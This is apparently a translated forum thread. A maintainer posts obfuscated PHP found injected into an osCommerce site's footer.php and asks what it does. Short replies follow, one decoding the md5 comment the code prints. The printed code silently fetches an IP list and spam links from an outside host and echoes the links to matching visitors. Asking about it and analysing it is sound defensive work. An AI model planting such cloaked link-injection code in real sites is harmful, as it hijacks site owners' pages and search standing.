我正在查看一个被某人/某物利用的网站。该网站的页脚中注入了大量指向药品销售等内容的链接,以及其他不知名的链接。在页脚顶部有很多链接。现在我只能在Yahoo索引的缓存页面上找到它们。虽然现在实时网站不再显示任何链接,但谷歌仍对该网站不满意。这是为客户服务的,所以我大部分只知道我被告知的和我自己找到的信息。
当我查看缓存页面的源代码时,发现有“坏”链接,这段代码就在footer.php源代码中。通过谷歌的一些研究表明,存在类似代码的漏洞。
你认为呢?当我在自己的服务器上运行它时,只会在源代码中得到回显的评论,如下所示:
我在footer.php的最顶端发现了这段代码(这是一个OsCommerce网站):
<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m";
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>
当我查看缓存页面的源代码时,发现有“坏”链接,这段代码就在footer.php源代码中。通过谷歌的一些研究表明,存在类似代码的漏洞。
你认为呢?当我在自己的服务器上运行它时,只会在源代码中得到回显的评论,如下所示:
<!-- 069c5b4fe5027f9b37de31d2be5eac67 -->
我不想匆忙地删除代码并说“你做得很好”,仅仅因为它看起来很糟糕,特别是因为我没有立即知道“坏链接”是否已经消失。顺便说一下,所有链接都指向一个无效的URL。
eval($do_something_nasty)
的东西。 - Marc Becho -n 'primitive' | md5 # => 069c5b4fe5027f9b37de31d2be5eac67
:)这是一条命令行指令,将字符串"primitive"作为输入,经过md5哈希处理后输出结果为:"069c5b4fe5027f9b37de31d2be5eac67"。 - zoul